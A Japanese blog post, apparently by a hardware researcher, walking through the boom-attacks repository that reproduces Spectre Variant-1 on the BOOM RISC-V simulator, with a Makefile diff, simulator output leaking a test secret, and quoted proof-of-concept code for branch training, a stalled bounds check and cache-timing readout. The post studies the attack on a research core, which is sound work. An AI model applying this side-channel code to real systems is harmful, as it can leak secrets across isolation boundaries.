BOOM v2.2がリリースされたことに伴い、BOOMを使ったSpectre/Meltdownの攻撃手法を再現するリポジトリの存在を知った。
boom-attacks というリポジトリだ。これはアウトオブオーダプロセッサのBOOMを使い、Spectreの攻撃手法を再現しようというものである。
このリポジトリ曰く、Spectre/Meltdownのうち、
- Variant-1 : Bound Check Bypassを再現する (
condBranchMispred.c
) - Variant-2 : Branch Target Injectionを再現する (
indirBranchMispred.c
)
を再現できる。実装中でまだ未完成であるが、Return Stack Buffer Attackについても実装中とのこと。
テスト環境としては、BOOM側のリポジトリとして8bb0e34
を使用している(リビジョンを上げすぎると挙動が変わる可能性があるので注意)。これはまだBOOMv2 ?の実装で、RV64Gまでしかサポートしていないのでコンパイル時に注意。
boom-attacksリポジトリをcloneして、さっそくmakeしてみる。
git clone https://github.com/riscv-boom/boom-attacks.git
cd boom-attacks
使用しているBOOMのリビジョンではRVCをサポートしていないので、コンパイルオプションを変える。
diff --git a/Makefile b/Makefile index 66498eb..3c981b2 100644 --- a/Makefile +++ b/Makefile @@ -16,8 +16,8 @@ DEP:=dep # Commands and flags CC:=riscv64-unknown-elf-gcc OBJDUMP:=riscv64-unknown-elf-objdump -S -CFLAGS=-mcmodel=medany -l -std=gnu99 -O0 -g -fno-common -fno-builtin-printf -Wall -I$(INC) -Wno-unused-function -Wno-unused-variable -LDFLAGS:=-static -nostdlib -nostartfiles -lgcc +CFLAGS=-mcmodel=medany -march=rv64g -l -std=gnu99 -O0 -g -fno-common -fno-builtin-printf -Wall -I$(INC) -Wno-unused-function -Wno-unused-variable +LDFLAGS:=-static -march=rv64g -nostdlib -nostartfiles -lgcc DEPFLAGS=-MT $@ -MMD -MP -MF $(DEP)/$*.d RM=rm -rf
これで実行してみる。まずはcondBranchMispred
(Variant-1)から。
$ make output/condBranchMispred.riscv.out cd /home/msyksphinz/work/riscv/boom-template/verisim && /home/msyksphinz/work/riscv/boom-template/verisim/simulator-boom.system-BoomConfig +max-cycles=10000000 +verbose output/condBranchMispred.riscv 3>&1 1>&2 2>&3 | /home/msyksphinz/riscv_boomv22/bin/spike-dasm > output/condBranchMispred.riscv.out && [ $PIPESTATUS -eq 0 ] m[0x0x80002d90] = want(!) =?= guess(hits,dec,char) 1.(10, 33, !) 2.(2, 5, ) m[0x0x80002d91] = want(") =?= guess(hits,dec,char) 1.(9, 34, ") 2.(2, 205, m[0x0x80002d92] = want(#) =?= guess(hits,dec,char) 1.(10, 35, #) 2.(2, 8,) m[0x0x80002d93] = want(T) =?= guess(hits,dec,char) 1.(8, 84, T) 2.(3, 2, ) m[0x0x80002d94] = want(h) =?= guess(hits,dec,char) 1.(8, 104, h) 2.(2, 10, ) m[0x0x80002d95] = want(i) =?= guess(hits,dec,char) 1.(9, 105, i) 2.(3, 124, |) m[0x0x80002d96] = want(s) =?= guess(hits,dec,char) 1.(10, 115, s) 2.(2, 8,) m[0x0x80002d97] = want(I) =?= guess(hits,dec,char) 1.(6, 73, I) 2.(3, 44, ,) m[0x0x80002d98] = want(s) =?= guess(hits,dec,char) 1.(7, 115, s) 2.(2, 85, U) /home/msyksphinz/work/riscv/boom-template/Makefrag:54: recipe for target 'output/condBranchMispred.riscv.out' failed $
ここまで進んでタイムアウトで落ちる。
この結果を見てわかるのは、
- wantの項目がおそらく答え(
!\"#ThisIsTheBabyBoomerTest
)の1文字ずつを抽出していく。 - Guessの項目によって、キャッシュアクセスのレイテンシから最も正解に近いものを選び出す。
- 1番目のテストが「!」、2番目のテストが「\"」、3番目のテストが「#」と予測しているのでこれは正解。
実施している内容としては、まだあまり理解できていないのだが、
変数
results
に答え(キャッシュのレイテンシから答えらしきもの)を格納する。最初にキャッシュをクリアする。このFlushCacheの実装がまた謎なのだが、過去の内容を上書きすることによってキャッシュの中身を追い払っているのか?RISC-Vには明確なキャッシュ操作命令が無いため、このような実装になっている?
// run the attack on the same idx ATTACK_SAME_ROUNDS times for(uint64_t atkRound = 0; atkRound < ATTACK_SAME_ROUNDS; ++atkRound){ // make sure array you read from is not in the cache flushCache((uint64_t)array2, sizeof(array2));
- 次に攻撃対象とするインデックスを決めている。この部分については正直良く分かっていないのだが、
TRAIN_TIMES
が6なので、5回まではpassInIdx
の値はatkRoundの値となり、最後の1回だけattackIdx
となる。これがsecretStringからarray1(いろいろと触る対象)のメモリマップ上の距離で、
uint64_t attackIdx = (uint64_t)(secretString - (char*)array1);
ここにアクセスが発生するように仕向ける、ということなのだと思う。
つまり、BHRをだますために、最初の5回の試行は通常通りarray1へのアクセスを繰り返し、最後の1回で攻撃対象のアドレスを指すようにする。これにより騙されたBHRはまんまとsecretStringにアクセスを実施し、それをキャッシュにしまい込んでしまう、ということか。
- Victimプロセスの中では、Spectreの論文等で見たことのあるコードが書かれている。一方でその上に配置してある意味のなさそうなアセンブラは、下の条件分岐命令の判断を遅らせるためのストール処理であり、これによりif文内のコードが投機的に実行されてSpectreの攻撃が完成する。
void victimFunc(uint64_t idx){ uint8_t dummy = 2; // stall array1_sz by doing div operations (operation is (array1_sz << 4) / (2*4)) array1_sz = array1_sz << 4; asm("fcvt.s.lu fa4, %[in]\n" "fcvt.s.lu fa5, %[inout]\n" "fdiv.s fa5, fa5, fa4\n" "fdiv.s fa5, fa5, fa4\n" "fdiv.s fa5, fa5, fa4\n" "fdiv.s fa5, fa5, fa4\n" "fcvt.lu.s %[out], fa5, rtz\n" : [out] "=r" (array1_sz) : [inout] "r" (array1_sz), [in] "r" (dummy) : "fa4", "fa5"); if (idx < array1_sz){ dummy = array2[array1[idx] * L1_BLOCK_SZ_BYTES]; } // bound speculation here just in case it goes over dummy = rdcycle(); }
- 最後に、L1からデータを回収して秘匿情報を読みに行くのだが、これは単純に各キャッシュラインを読んで行き、そのサイクル数を測定している。
// read out array 2 and see the hit secret value // this is also assuming there is no prefetching for (uint64_t i = 0; i < 256; ++i){ start = rdcycle(); dummy &= array2[i * L1_BLOCK_SZ_BYTES]; diff = (rdcycle() - start); if ( diff < CACHE_HIT_THRESHOLD ){ results[i] += 1; } }
全体的な流れとしては、以下のイメージか?かなりザックリだけど。